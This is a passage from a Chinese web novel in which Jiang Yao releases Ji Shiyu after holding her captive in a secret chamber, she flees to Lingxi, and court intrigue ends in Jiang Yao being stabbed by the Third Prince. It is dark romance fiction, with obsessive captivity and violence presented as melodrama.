江曜不满意两人之间还有旁人旁事,他要把她关到她完完全全爱上他的那一刻。
甚至于不惜摧毁她的一切,让她不得不,只能依靠于他。
可是姬时语怎么能让他这么做?
是,她是做不到如江曜那般爱他,但她这颗心,已是给了他。
也不会再给旁人的。
姬时语吐出一口浊气,她明白,自己与江曜解释再多也是徒劳。
他天性执拗,是理解不了常人的话的。
他只想把自己变成同他一样的人。
江曜缠着她,她便索性不管了,随便他亲吻。
这几日她累得困倦,便阖眼沉沉入睡。
也许是一个时辰,又可能是两个时辰。
姬时语再睁开眼时,江曜已不在了身边。
原先还觉着逼仄的暗室,只是眨眼便令人心生一股油然的恐惧,显得偌大与空寂。
姬时语缩了缩身子,将薄被裹紧了,她的心砰砰直跳。
好害怕,好紧张。
在这种时候,她反而迫切想要江曜陪着她。
好在不多时,暗室的隔门被人推开了,江曜带了刹那的光亮。
“哥哥!”
姬时语像很依赖他,几乎爬起来便张口便问,“你去哪了?我怎么醒来也不见你。”
江曜为她的依恋感到满足,他大步走来,做的第一件事,便是捧着她的脸,亲吻她的红唇。
这几日两人没少得亲吻,尽管已经熟悉了亲昵,但每次被少年含住唇瓣细细的吻,亲近一刻钟。
姬时语不免还是会脸红。
缠绵了几许,江曜松开姬时语,微微喘气,他开口认真道:“阿锁,侯爷寻来了。”
“我爹?”
姬时语瞬间大喜,她身体一抖便要爬起来,却又被江曜摁住倒下。
她赶忙隐去喜悦,改道:“我爹过来作甚?”
“他问我为何你还未去岭西。”
“你怎么说的?”
江曜的脸色已是暗沉,他的手掌正握着姬时语的柳腰,神情不悦。
“阿锁,你是不是想回去?”
姬时语脸蛋僵住,“我只是问你,那毕竟是我亲爹。”
“你想抛下我。”
江曜固执地问:“阿锁,告诉我,你是不是想永远逃离我的身边?”
姬时语一见他骤变的脸色,便知大事不妙。
这些日子她一直纵容江曜,便是真心想他软化心思,不要再执迷不悟。
可这想的轻松,做起来真难啊。
姬时语连忙垂眼乖巧,安抚江曜:“没有,我只是怕爹爹担心。如果你让我回去,我会同爹娘解释是我有事要办才会离开,我不会同任何人说是你关了我。”
“阿锁。”
可是江曜根本不吃她这一套,他一再警告:“不要逃离我。”
江曜举起姬时语洁白柔软的皓腕在嘴边,他亲着她的手腕,边啄边用眼角轻睨她。
阴郁之色隐在眼角。
他的目光无比留恋。
“我不知道我发疯,会做出什么事来。”江曜说。
两人比这更亲密之事都已做过,但是被江曜这般盯着看,在垂眸地吻,姬时语脸皮燥热的十分厉害。
江曜掀起眼皮,狐狸眼觑她红扑扑的脸蛋。
不,江曜这是勾引,抓着她手在唇边舔舐,边看她。
那是一种非她不可的偏执。
“其实我觉得我们一辈子,永远在这里,也挺好。死了之后尸体一起腐烂,这样永生永世都能在一起了。”
无比森寒的话,如一盆冷水,令姬时语刹那从旖旎之中瞬间钻出。
“不,不要这么想,我很在乎你,这是真的。”
姬时语找回了自己的嗓音,“江曜,我也不能没有你。”
她剥开了自己的真心,袒露给江曜看。
也不知少年能否听进去,他的身子是僵硬了一刹。
姬时语继续说着。
“我知道你很在意我心中所想。”
姬时语默了默,她说:“确实,我对你的倾慕,并没有你对我那么执着、深爱,但我绝不否认,我是在乎你的。这个世上,除却我父母和姐姐,我最在乎的就是你。”
江曜不是很满意,但他有点动摇。
凑近了她,他固执追问:“是亲情?还是出于爱?”
“都有的,我不知道,哥哥……”
江曜的吻铺天盖地地落了下来。
“不要……”
“抗拒的话,就推开我。”
姬时语的素手只是软软地推了他一下,后还是没有了更多动作。
她的乖顺,极大程度地取悦了江曜。
这一回缠绵的吻毕,江曜解开了姬时语脚腕的镣扣。
沉重的铁链啪嗒落地,束缚在姬时语全身的铁链与红绸终在这一日,尽数被取下来了。
江曜为姬时语裹上外衫,后他抱起她,带着她一步一步地往隔门而去。
在这个瞬间,姬时语的心鼓动,一跳一跳。
眼见那扇将要离开暗室的门愈发的近,姬时语的心抑制不住地疯狂跳动。
她不自觉搂紧江曜的脖子,头顶独属于少年清冷的嗓音便落在了耳边。
“阿锁,我从未、也不是什么好人。”
姬时语听得这话,没来由地闷哼出了声,她怨怪他道:“你确实不是,你就会掐我、揉我,总把我弄哭。”
“你知道你在说何话吗?”
江曜的嗓音一下便沙哑了。
姬时语一抬头,便见他喉结来回滚动,连她贴着的胸膛都生起灼热之感。
后知后觉,姬时语立马脸红,埋头遮住脸,“我错了,我方才在浑说。”
江曜冷哼。
从暗室踏出来,江曜已到她入了主院的内室。
姬时语环顾四周,见这地方与寻常的宅屋并无分别。
她惊觉江曜竟将不见天日的暗室,修缮在了书柜的后头。
室内冷清,姬时语侧目而望,雕花窗外正细雨绵绵,透过窗,不时灌入几分冷风。
一盏青花瓷梅瓶,瓶中无一朵花,便静放置于窗边的书案。
江曜将姬时语放在地上,她的绣花鞋触及地上的牡丹花软垫,这软毯新得如同不曾用过。
姬时语毫不怀疑,这地方若非两人到来,平日里是从未有一人踏足。
江曜轻握住了姬时语的一只手,“我虽不是好人,但阿锁,我愿意给你一个机会。”
姬时语不明所以地看着他。
江曜那双狐狸眼,满是阴沉的执着,她看不懂是何意。
很快,林一便领着萍亭与萍柳来了。
三人见到姬时语安然站在江曜手边,俱是满脸讶然。
“大人。 ”
“见过江大人。”
几人还以为江曜有事要吩咐,等候发令。
然而江曜却和姬时语开口,“阿锁,你选吧,是离开,还是留在我身边。”
姬时语亦是惊讶,如此轻易的,江曜竟真的打算放她走了?
萍亭与萍柳眼中涌起诸多喜悦。
江曜静静注视着姬时语,紧抿薄唇。
握着她的手指在颤抖,他是怎么也不愿放开。
嘴上说了成全她的话,江曜却试图挽留她。
姬时语亦是难办。
她当然知道江曜多想她留下。
可是她在江曜的别庄已是逗留太久了,京城的爹娘怕是满心担心,担心着急,姐姐更不知她的安危。
两人无名无分的,只徒留一地流言蜚语。
眼下不是缠绵的好时机。
决心已定,姬时语便将手腕从江曜的手中抽了出来。
“阿锁!”
江曜脸白一刹。
姬时语提起衣裙,便往阴雨绵绵之中冲了过去,她不顾一切的要离开这里。
江曜追到了院门口,他不管不顾自己被淙淙雨雾淋湿。
冰凉的水汽打在清冷的眉眼之上,更添冷漠。
姬时语被萍亭萍柳搀扶着爬上马车,听到江曜的呼唤,她不忍地回了头。
雨水模糊了小姑娘白玉的脸,但她一双猫瞳明亮,她还是那般娇俏。
来时是这样,走时还是这样。
姬时语的声音隔着绵绵的雨传来。
“去岭西。”
即使外头满是雨水,刹那便浸湿了姬时语单薄的衣裳。
她还是固执的,要走。
江曜的心腔在这一刻彻底崩塌。
即使到了最后,他还是留不住她。
从前是,如今也是,强留也好,让她做选择也罢,她到底还是要抛弃他走了啊。
突然间,江曜很想回到上辈子。
他想知道前世的自己,在生命走到尽头的那时,见到姬时语那双明媚的眼,一晃而离去时。
他想了些什么?
可也是如这时候,这般的绝望。
他如此渴望、祈求她能够留下。
想要得到她,她希望她眼里不要有任何旁人、旁事,他只想和她做彼此的唯一。
但是,姬时语不信他。
他甚至不在乎别人如何看他,这天底下的任何人都是不重要的。
只有她,为何连她也不愿意相信他?
“阿锁,你真的不要我了吗?”
蒙蒙细雨下着,江曜立在雨中,眼望着姬时语那辆马车远去。
他眼尾泛着红润水汽,脸上不知是雨水多,还是真落了眼泪。
定立一会儿,是感觉浑身已是湿透,江曜抬起手背,抹了一把脸上的雨水,双目冰凉。
为什么呢?
给了她机会,她还是跑的话。
那下一回,就不会是那么容易说动他了。
江曜想。
眉宇间顿生起黑沉的癫狂。
第118章
自江曜的别庄逃离,姬时语倒入马车之中的侧榻,闭上眼便沉沉睡了过去。
萍亭与萍柳撩动车帘,见厢中自家姑娘睡得安稳,两人是欲言又止。
这已是两人在别庄等候的第六日。
姬时语被江曜带回京城,萍亭萍柳便跟随林一入了别庄,两人见不到姬时语,终日惴惴不安。
好在江曜没伤了姬时语。
萍亭侧目而望,瞥见马车最前头杨林骑马的背影。
与两人一般,同样候在别庄的还有杨林一行人。
几人奉命守卫姬时语,若非江曜态度坚决,杨林怕要禀报忠义侯,再带人硬闯。
但江曜信誓旦旦,只说他与姬时语有事要商议。
因此忠义侯寻来时,两人在书房谈了近一个时辰的话,亦是相安无事。
这次回岭西,自然还是杨林随行。
车外有杨林护送,一路平安抵至岭西。
萍亭将姬时语唤醒时,马车已在薛府停下。
时至夜深,姬合英听闻姬时语来到同知府上,领着人出府接她。
姬时语的双腿却比那时候还要来的发软,她由着萍亭搀扶下车,脚步虚浮。
姬合英上前便拥住她。
“阿锁。”
姬时语喏喏蠕动嘴唇,“姐姐,我好困呐。”
“先回屋歇息。”
姬合英心疼不已,只以为是妹妹路途奔波劳累,没问再多话,便让丫鬟们送姬时语回院。
被江曜亲了许多回,姬时语身上痕迹遍布,回屋沐浴时,她羞赧,不敢让近身伺候的两个丫鬟瞧见。
便将人都使唤了出去,独自沐浴。
随意清洗一番后,姬时语倒躺回床榻。
尽管双手双脚已无束缚,但心中那股惶恐并未全然消弭。
她没想到江曜竟真剑走偏锋,如疯魔一般将她掳走,以铁链锁在了别庄的暗室。
两人还做到了如此亲密的一步。
整整五日五夜。
她竟待了那样久,又同他亲密了那样多回。
她的腿,她的脚还有她的手……
从水潭之中艰难爬出的姬时语,大口喘了两口气,奋力拨开身段缠绕紧贴的水藻。
拔了生,生了再拔。
剪不断、理还乱。
姬时语放弃了挣扎。
她逃脱不了。
姬时语沉沉地吐出一口气,她手腕与腿俱是酸痛,这痛感多来自肌肤表皮。
肌肤磨破了皮,吻_痕遍布浑身,她得好好生养一番。
再不能由着江曜胡来。
姬时语终是睡过去了。
隔日醒来,屋外雨已是停歇,雨后初晴,是一个艳阳天。
姬时语睡到了近午时才醒。
外室隐隐约约传来姬合英担忧的问话声。
“阿锁是被江曜带走的?带去作甚了,是抓走藏起来不让人见还是?侯爷找去就没训斥他让他放人?”
一连串的质问,引得萍亭与萍柳支支吾吾。
见两人不吭声,姬合英急切了,“你们倒是说话啊,那时候你们不与阿锁都在江曜那儿?”
“大小姐,奴婢实在不知道,江大人将小姐带走后,便再未让奴婢等见过一面了。”
“侯爷亲自寻去,也并
未说二话,只让江大人好生照顾小姐。”
姬合英恼火的来回踱步,她抓了抓脑后的马尾,正焦灼十分之时,内室一道隐隐绰绰的身影悄然走出。
“姐姐。”
姬时语披好外衫,小步迈出。
她乌发披散,有几分凌乱,一双猫瞳却仍如过水似得明亮,轻笑了一声,便走去姬合英身侧。
她说:“你有话问我好了,她们二人确实不知情。”
“阿锁,你可真担心死我们了。”
姬合英一把将姬时语揽入怀中,昨夜见小姑娘精气神不大好,她便没多问。
今日左等右等不见妹妹苏醒,姬合英只差去寻个郎中。
“你可是睡了一整宿。”
姬合英将姬时语拉着坐下,又命萍亭与萍柳去端吃食来,她拨开挡在小姑娘脸蛋上的一绺青丝,关切握着她的手,问她。
“饿不饿?”
姬时语笑着点头:“是好饿了,要姐姐拿些好吃的来。”
姬合英松口气。
能吃那便是还好。
不多时,萍亭便端来了一碗红枣黄米粥,萍柳则端着一小碟的红糖发糕。
姬时语是真饿了,就着便将碗里的膳食吃的干干净净。
姬合英笑道:“先垫着点肚子,晚些时候姐姐给你备主膳。”
“好呀。”
姬时语吃饱喝足,便凑到姬合英怀中,依偎着姐姐的怀抱。
如小孩子那般,不舍得松手。
姬合英抚着她的后背,妹妹的身子软乎乎的,她拍拍,自顾自笑了起来。
“怎么还像小孩子似得呢?”
姬时语哼道:“不管,就要跟姐姐抱。”
她想撒娇,姬合英也宠着她,这本就是自己家,容她随心撒娇。
两姐妹温存了一会儿,姬合英便问她:“不过,你还未说江曜带你去别庄,是为了何事?早前爹娘来信,问我你可是到了岭西,我还吃惊,寻思你何时过来的。”
说起这事,姬时语不免忆起暗室的种种,她闷头埋起来,不愿说。
于是,她只做道:“没什么事,你们不要多想。”
“江曜没将你如何?”
姬合英扶起姬时语,两姐妹面对面,她眯起眼,努力洞察姬时语面上的神情。
小姑娘神色自若,没得变化,她摇了摇头,“没有。”
只是姬时语回应的实在太过简短,不似她的性子。
扭头之间,姬合英还是察觉妹妹有一丝的别扭和躲闪。
姬合英敏锐询问:“你和江曜闹脾气了?”
姬时语一个惊,身子僵硬,“姐姐,你怎么这样问?”
“瞧你这很不对劲的模样。”
姬合英抬手揉上姬时语白玉的脸蛋,轻缓摸了两下,“我一说江曜的名字,你便不愿直视,娘说你们二人早就私下暗生了情愫,可是真的?”
这回姬时语是真恍如雷劈。
这事怎么连她娘舒氏也知晓了?
“看来是真事,你们二人这几日是蓄意见面,正是两情相悦之时。”
姬合英无需姬时语应她,她已然清楚,复而便叹了口气:“阿锁,你喜欢上江曜,这本是无碍,姐姐早知道他心悦于你,那时我便猜到他不会放开你的。”
姬时语猛然抬头,她嗓中哽咽的厉害,“姐姐,我……”
“我听说江曜告发了都察院的案子,陈家夫妻残害十余位孩童,他动用私刑,还被陛下降罪了。”
姬时语的脸一白,“姐姐……”
“所以,你们是闹矛盾了?”
既然姐姐已是看清,姬时语便不再隐瞒,她颔首:“是,我们吵架了,他惹了我生气,我暂且不想见他的。”
“原是这样,我说谁敢让我们的阿锁心生不快呢!”
姬合英笑着掐姬时语的脸颊,亲昵的很,“好了,不是多大的事儿,江曜呢,人是不错,就是性子太乖张,爹娘不放心你嫁去楚王府,才迟迟不同意你们的亲事。”
姬时语还在震惊中,“他当真和爹娘提亲过?”
“是啊,娘同我说过,楚王府事端太多,怕你嫁去吃亏,他们便拒了江曜。”
姬时语怔愣住了。
原来江曜莫名委屈,说出口的那些话,都是真话。
他很早便打定主意要娶她为妻,只是侯府阻碍,他娶不到她。
“爹娘和姐姐都盼着你能觅得一介良人,你若真心喜欢江曜,便同爹娘好生说说,他们不一定不愿意。”
姬合英说道:“不过眼下嘛,江曜既惹了我们阿锁不开心,那你就将他晾着吧。先在姐姐这儿玩耍几日,过后我再命人送你回京。”
“好啊,姐姐。”
她正有这个打算。
姬时语一下便喜笑颜开,再度扑入姬合英的怀抱。
“爹也给我写了信来,京中这时候如多事之秋,你不回去也好。”
姬合英又说起京中之事:“胡家案子是要结案了,爹还在力争要将胡老太爷彻底摁死,再不能复辟。”
“我们要和胡家对抗到底吗?”姬时语愣然。
“是。”
姬合英定定注视她,“三皇子妃与荀美人可是差点将你设计入了宫,爹娘对三皇子党一向不满,这回算是结了仇。”
姬时语满心愧疚,“我让爹娘难办了。”
忠义侯府与朝堂政党结下恩怨,便意味着再也无法脱身浑水,不论怎样,终还是被卷入其中。
而忠义侯和舒氏,全因为了她。
“阿锁,凡事不要揽在身上。”
姬合英叹口气,又拍她的手背,“你是我们宠大的姑娘,侯府当然不能让任何人欺负你的。”
“嗯!”
姬时语娇俏地应姐姐的话。
“对了,你应还不知道,京中这会儿还出了一桩事,就是前几日大皇子归京之前,苏氏在府上暴毙身亡。”
“大皇子妃暴毙了!”
“是,她口吞了砒_霜,死在了大皇子府。”
姬合英面露惋惜,“三日之后,大皇子从黔南归来时,苏氏已是入殓。”
姬时语沉沉一个叹息。
苏氏,这位大皇子妃,还真是一介可怜人,嫁给畜/生不如的江承运,苏家还不准许她和离。
“岭西离京远,阿锁不想那些个事,就留在同知府上。需要何种东西呢,你就同姐姐说,这里亦是你的家。”
姬合英早已吩咐妥当,薛淮璋亦是没有二话,薛家如今是姬合英做主。
而姬时语是姬合英的亲妹妹,便也是同知府的小姐。
于是姬时语留在薛同知府,休养了足三日未出门。
待双腿的酸痛缓解大半,姬时语欲上街走走,便喊上萍亭与萍柳一道出府。
恰好央金得知姬时语来了岭西,她自告奋勇寻到同知府,求见姬时语。
“五小姐!”
央金很是开怀,见到姬时语的第一面便向她行以大陇才有的尊礼。
姬时语赶紧扶她起来,“你不必如此。”
“那可不行。”
央金笑笑,耳边的圆环银饰轻晃,“五小姐可是我的赫舍。”
被央金提及那出大陇神话,姬时语想到了江曜从前的往事,她不好意思极了。
“央金,我和江……和你说的弥拉,我们还并未成亲。”
“那你们的亲事也该是不远了呢?”
央金笑眼浓郁,便瞅着她身上的一处盯着瞧,“我看出江大人是多喜爱你,赫舍你脖上的印记到现在都还未散去。”
“啊!”
姬时语慌乱不已,忙抬手捂住侧脖颈落着的红痕。
雪白的肌肤也在刹那间,肉眼可见的升起了红晕,艳阳日光下,她光洁的脸,逐渐染成粉。
央金看出姬时语性子害羞,便只打趣她几句。
姬时语今日想再去城头见一见彩霞云,央金领着动身前往。
“五小姐为何来岭西了?”
“我……我和他闹脾气着,不想见他。”
“江大人竟也会惹你生气?我一直觉着五小姐性子温温柔柔的,江大人作弄你,你也不会恼火。”
“才不是,他把我惹的十足恼了,我一面也不想见他。”
“恐怕再过
几日江大人便要找来。”
“那我也不要见他。”
姬时语说时眸子亦是冒火,央金在旁不时的笑。
尽管姬时语说着不情愿之话,可央金还是觉着弥拉和赫舍两人感情是真好啊。
在乎才会恼火,介意才有情绪。
爱本就是喜怒哀乐皆有,只是两人的心即便再远,也从未分离过。
两人穿行过几条街道,央金忽的朝姬时语靠了过来,她歪头问:“怎么了?”
“有些怪。”
央金惊觉地朝后睨眼,语气生冷。
“有人在跟着我们。”
姬时语蹙眉:“兴许是我认识的人。”
“不,不是江大人的人,这帮人杀气很重。”
央金沉思片刻,眉眼顿时凝起,她麦色的脸颊涌上肃穆,抓起姬时语的手便飞快往巷外钻去。
“他们想抓的人是你,赫舍。”
姬时语被央金带着窜过几处小摊,两人不再走小道,直上了大道。
“我送你回府。”
央金凭着多年在上岱城混迹的本事,四下穿行,不一会儿便将姬时语送回了同知府上。
“我们到了。”
“央金,多谢你啊!”
“不必。”
从侧门回了宅院,央金还不忘叮嘱,“赫舍,这几日都莫要出府了,这些人像不会罢休。”
直到闭上府门,央金才彻底安心离去。
而宅院内,姬合英也迅速寻来侧门。
“阿锁!”
姬合英满脸焦急,她是一路跑来的,“我才要派人去寻你,还好央金把你送回来了。”
“姐姐,出何事了?”
“三皇子党的人在寻你的踪迹。”
“他们平白找我作甚?”
“三皇子降罪江曜,说他让人掳走了三皇子妃,故意丢在破庙,以此重伤羞辱皇室。”
姬合英眉宇沉沉,她头疼地揉了眉心,无奈道:“因此三皇子迁怒于你,不止是江曜,他连你也要一起带走问罪。”
姬时语不假思索地抓住了姬合英追问,“那江曜呢?他在哪?”
“阿锁?”
“姐姐,你得帮我。”
姬时语十分冷静。
在岭西的这几日,她每日每夜都在思忖,那日在暗室她撇下江曜离开,并非是不喜欢他。
而是她希望两人能名正言顺的亲密。
但如今,江曜有难。
姬时语做不到袖手旁观。
从前一直以来,是江曜主动又偏执的来到她身边,不容她离开半步。
是以,她想清楚了。
这一回,换她去找他吧。
“姐姐,我要去见江曜。”
第119章
江曜没能在姬时语离去的那一日便追上去。
他被牵绊住了。
胡家案子临近宣判,江曜却听陈疾来报,说是胡家有意舍弃胡丰汕,以保全胡老太爷的官位。
便要将罪名全推至胡丰汕一人头上。
可是江曜如何能忍?
胡丰汕一介扶不上墙的烂泥,诸多事端皆是从听胡老太爷所为,若非胡老太爷的命令,胡丰汕不敢将尸身埋在胡家。
因此忠义侯姬雄武找来别庄时,江曜特意和他提及此事。
江曜不得上朝,与胡家案对峙的,便成了姬雄武。
朝中几道应和声犹在,弘文帝不得不谨慎断胡家一案,并未轻易复胡老太爷的职。
而就在这时,安国公府试图横插一脚,为胡老太爷求情。
只说此事胡老太爷犯下包庇孙儿之罪,不是主使,应从轻处罚。
好在阁老房平与首辅魏召并非利益熏心之辈,两人虽稍有偏向大皇子,但对三皇子党,向来没有好脸色。
因此,两人齐齐是否了安国公的提议。
房平直言:“这事是隐瞒了近十年,胡大人能包庇这样久,其心可诛。”
安国公执意对峙。
早朝之上,两人吵得不分上下。
江曜听闻后,黑沉着一张脸,策马打算回京。
可巧的是,三皇子妃柳眉出城祈福,驱马车去往城外的千寻山白马寺。
和回京的江曜撞个正着。
就这么的,江曜众目睽睽之下,掳走柳眉。
而后他就径直将人丢在千寻山半山腰,一处荒无人烟的破庙之中。
柳眉直接摔到在地,吃了一鼻子灰土。
见江曜如此冷漠无情,她仰头后怕地落泪。
“江曜,我是你表姐,你当真不念手足之情吗?”
“表姐?”
江曜阴郁的眸子盯着柳眉,他嗤笑道:“在你和安国公夫人谋划,意图让楚王妃追杀我时,你们没想过我是你们的亲人吧。”
柳眉再也架不住的颤抖,江曜黑漆漆的瞳孔写的明明白白。
他全都知道。
安国公府打定的主意。
杀了他。
意为三皇子铺路。
柳眉脸色煞白,“不,不是的,我和娘从未想要你死,是楚王妃心肠狠毒,她想要你的性命……”
再多解释也是徒劳与苍白,江曜冷笑。
“柳眉,自始自终,我们都只是不相识的生人,所以,你无需与我攀扯亲缘。”
刹那间,柳眉忆起五年前,她寻姬时语,向她讨要少年的那一幕。
十八岁的江曜意气风发,冷冽绝尘,十三岁的江曜稚嫩阴郁,是初生的凶兽。
他说过,他此生只会认姬时语是他的家人。
心口被刺痛,数不尽的愤怒充斥着柳眉的心腔,她不懂当初江曜便一意孤行,从未将她看入眼。
而如今更是,对她做出此等凶残之事。
眼望面前一袭玄衣,脊背孤寒挺拔的少年,柳眉满脸扭曲,怒吼出声。
“呵呵,江曜,我知道你喜欢姬时语,可你真以为她会喜欢上你?你待在姬家那么几年,她都对你生出一分的喜欢,现在呢?姬时语愿意嫁你为妻吗?当初没有,现在更不会有了!”
柳眉亲眼瞧见江曜骤变的眼神,她终是快意至极。
江曜让她不舒坦,她当然要回报他。
“你痴心妄想!姬时语那样恣意的姑娘,当初也不过是觉着你皮相不错,乐意与你玩一玩。后来啊,她腻了,也就不要你了。我没说错吧,她不要你了!”
柳眉放声大笑,她尖厉的笑声在这破败、布满尘土的庙宇之中,太过渗人。
江曜面色如常,他一脚踢上去。
柳眉的肚腹撞上断了半边身子的土像,疼得她泪花落满一张脸。
江曜呵笑:“那又如何,我就愿意让她玩_弄。”
入目是泛着银光的长刀,江曜拔出刀一步步逼近,柳眉是再笑不出来。
“我记得,就是你算计要把阿锁送进后宫。一刀,为你害阿锁。”
“啊!”
“一刀,为安国公府算计我。”
江曜的刀冷漠地划在柳眉的脸上,她痛得放声大喊。
笑声止了,江曜无情的收回他那双金纹黑靴。
“江曜!”
柳眉彻底惶恐,怒瞪双目,便疼晕了过去。
江曜的脚面踏过沉蒙的泥土,他将柳眉独自一人撇在了千寻山的破庙。
扬长而去。
……
江承北的怒火便未止过。
清晨幕僚来递话,说是大皇子江承运已是入宫面圣,向弘文帝求娶忠义侯府的五小姐为大皇子妃。
苏氏才殁了没几日,江承运便迫不及待要招揽忠义侯府为助力。
江承北如何能忍?
他当即飞奔入宫,得见江承运跪在太和殿中,他便也命曹云入殿传报,后随同大皇子江承运一般。
是跪在太和殿。
求娶忠义侯府的五小姐姬时语。
上首的弘文帝勃然大怒,一把甩飞奏章,怒斥两人:“你们两个混账!”
大皇子江承运和三皇子江承北,俱是垂首低眉,谁也不愿意起身。
这场争夺忠义侯府五小姐的烽烟,绝非是为抢夺美人,而是忠义侯姬雄武手中的十万兵权。
弘文帝哪里看不穿,冷嗤便道:“你们哪来的脸求娶忠义侯府的五小姐?”
“父皇,儿臣正妃之位空悬,就是心中急切才
来寻你。”
江承运直言:“若等苏氏下葬,儿臣一年半载的也不得娶妻。”
“你还知道自己娶不得妻?”
弘文帝只差骂他不要脸,“如此急切求娶新皇子妃,你让苏家人如何看待你,看待朕?骂朕养了你这么狼心狗肺的东西,还配当这个皇帝吗?”
江承运一听弘文帝怒气颇大,心知今日怕是成不了了。
江承北便朝前一挪,他刚要开口,弘文帝又指着他骂道:“还有你,你正妃乃是安国公府的嫡长女,老三,你有何还不满?”
“父皇。”
江承北一噎,低头就说:“儿臣并无不满。”
他怎敢说是不愿让皇兄成事,故意入宫只为搅合他的局?
“别让朕看见你们,快滚!”
弘文帝被两个不孝子气得一肚子火,“谁再敢提意欲求娶忠义侯府的姑娘,朕今日就废黜你们的位子。”
江承运和江承北只得灰溜溜地退离太和殿。
然在离出宫之时,江承北按捺不住得意朝江承运出言不逊。
“大皇兄真是不留情面,皇嫂才离世,你就急不可耐要迎新正妃,莫要天下人还当皇嫂之死是皇兄动的手啊。”
三皇子江承北头戴灿金发冠,嘴唇带笑。
江承运冷哼,才从黔南平乱归来,身有大功,他对储君之位势在必得,自信满满。
因而,姬时语是他新择的大皇子妃。
江承运不容许三皇子坏他的好事。
“三皇弟。”
江承运不怀好意的发出笑声,他拍拍江承北的肩膀,“自家后院都生火了,你还有心思关切皇兄的事,真让人感动。”
“你何意?”
江承运却挥挥手走了。
江承北快步出宫,这时三皇子府的侍从匆忙寻来,禀报三皇子妃柳眉已被江曜掳走。
“属下等在千寻山找到娘娘时,皇子妃在破庙之中,已是浑身鲜血,面容……尽是毁了。”
“毁了?”
江承北怒火中烧。
前些时日凉州太守调任回京,都察院的陈方全被江曜状告有罪,当场斩杀。
那是他的人!
柳眉亦是他的脸!
江曜竟敢伤了柳眉,又折断他同党羽翼,一次又一次在打他江承北的脸!
他怎么忍?
他誓必要杀了江曜!
“立刻捉拿江曜!”
江承北立刻翻身上马,命人追寻江曜的行踪。
“驾”地一声,江承北驱马,飞快冲出皇城。
……
江州地界,接连几日阴雨,难得有了晴朗。
雨水堆积一地,江承北策马飞驰,马蹄践踏而过,水滴飞溅。
在江承北身后,三皇子府数十位侍从紧紧跟随。
恨意在江承北心腔中翻滚,他又加快的步子,追赶上去前方的人影。
愤怒尽数化作一道怒吼。
“江曜!”
前方不远处,江曜侧身回头。
少年一袭月白色云缎素衣,乌发由玉冠高高束起,狐狸眼回转,轻瞥如羽毛落地。
是干净又矜贵。
“江曜,站住!”
江承北火冒三丈。
“三殿下啊。”
江曜闲散地下了马,轻描淡写回他道:“寻我有事?”
“便是你重伤了三皇子妃?”
江承北一路奔行,头顶的发冠早已歪斜,连双目也斥着红血丝。
江曜淡淡道:“你凭何说是我伤了她。”
“你将人掳走,丢在千寻山,不是你还能是谁?江曜,你怎么敢?你竟对皇子正妃动了杀念!我要你偿命!”
江承北手持长刀,怒气冲冲直朝江曜走来。
“大人。”
江曜身边的林一和林二顿时作出了拔刀姿势,数十位侍从跟着下马,团团将江曜几人围住。
却在这时,娇俏的女音如婉转的鸟儿划破空气。
“江曜!”
听见熟悉的声音,江曜那双阴沉的狐狸眼霎时抬起。
越过江承北,江曜竟看见满目焦灼,提着衣裙跑来的姬时语。
小姑娘的红唇还在一动一动。
她在说:“江曜,不要。”
她真的来了。
江曜清冷的面如冰雪融化,倏尔绽出浅淡的笑意。
眼见江承北持刀而对,林一经不住着急喊叫出声。
“大人!”
江曜抬手止住林一和林二的动作,他如同雕石般望着江承北,甚至连要拔刀抵御的意思也无。
“三殿下这你就冤枉我了,我并未杀柳眉。”
江曜说:“我只不过是抓了她丢在那儿,这又算的了什么呢?”
这番话如同挑衅,江曜明晃晃的笑。
而后江承北便眼睁睁见江曜冷笑。
“而你们想杀我的,不过都是些丧家之犬罢了。”
“江曜!”
江承北再难自持,双目血红,发疯一般冲上前。
他一把将刀捅进了江曜的身躯。
“不!!!”
噗哧地鲜血喷涌而出,扑满江曜的眼。
余光中,是姬时语跑来的身影。
江曜没有反抗。
任由江承北的刀捅穿自己的胸膛。
他微微挪动头颅,冷清的狐狸眼好似融入了水色,模模糊糊的,但又看得十分清楚。
他心心念念的小姑娘,终于朝他奔赴而来。
她没有再抛弃他于不顾了。
她到底还是舍不得他的。
江曜心满意足的,跌落在地。
心口的痛楚已然麻木,为着那道满腔欢喜,他忘却了所有。
“江曜!不要啊,江曜……”
姬时语眼睁睁看着,江曜的眼尾红润一片,他就这么静静凝视她,没有挣扎。
恍惚间,像是回到了前世。
大雪纷飞的冬日,素白零落在他身,雪层铺盖堆积,至再看不见人影。
唯有他身下源源不断淌出的血,将雪白染成了血红。
那么冷,那么赤红。
不,不要!
她又一回来迟了吗?
“不,不……”
姬时语脑子里空茫茫的。
这一世说好的,她会救他的,她怎么能让他死去?
她后悔了,她不该走的,她就应该时时刻刻都陪在江曜身边。
他再恶劣,再执拗,只要她在,他就不会有事。
“阿锁。”
江曜吐出一口血来,鲜血顺着他的唇角一团又一团的喷出,滴落进他身下那滩刺目的红。
“不,你不要开口。”
江曜气息微弱,无力地吐出。
姬时语吓得脸色苍白,她扑在他身边,珠泪滚滚,无助地掉着眼泪。
一双手,死死摁住他心口破开的大口。
血浸没她的手。
“你别说话了,哥哥,我让人救你,你别说话……”
“阿锁,我……我没骗过你,我……我爱你。”
“不,你别再说了!”
姬时语哭得不能自己,她感觉自己捂着的那道破口,涓涓流血。
是怎么也捂不住,血越流越多。
她那身鹅黄色的衣衫,也在眨眼间全成了赤红。
“你,你愿意信我吗?”
“我信你,我信你,哥哥,你不能抛下我,不要……”
江曜的狐狸眼缓缓闭起,他又吐出一口血,话音断断续续,口齿不清。
“我,爱你。”
“江曜!”
姬时语听清楚他的话,她抱着江曜的手失声痛哭。
赶来的姬合英就见她的妹妹,扑倒在江曜身边。
那一身明媚的姑娘半身染血,她眼瞳含泪,爬起身,夺了林一手中的剑。
“阿锁,你要做什么——”
姬合英的喊话只到半道。
所有人未曾留心,姬时语已然握紧那把剑,狠狠刺向了江承北。
“啊!”
江承北抱着后腰,疼痛倒地。
姬时语冷脸甩开手中的剑。
咣当,剑落了地。
她不顾双手鲜血,手背抬起朝脸蛋抹了一把眼泪。
霎时,白玉的脸也被落下两道血痕。
姬时语固执地擦去眼泪,她不愿哭,在这种时候,她几近偏执地袒护着江曜。
“姬时语。”
江承北面容扭曲,倒地的他捂住被刺穿的后腰,颤抖着手指:“你,你竟然……”
“这是我替江曜还你的。”
姬时语冷静的可怕,眼睛未动。
姬合英最先反应过来,瞬间喊道:“林一、林二,快送你们大人入城救治!”
一刹那,姬时语懈力,朝后倾倒。
姬合英冲过来接住妹妹瘫软的身子。
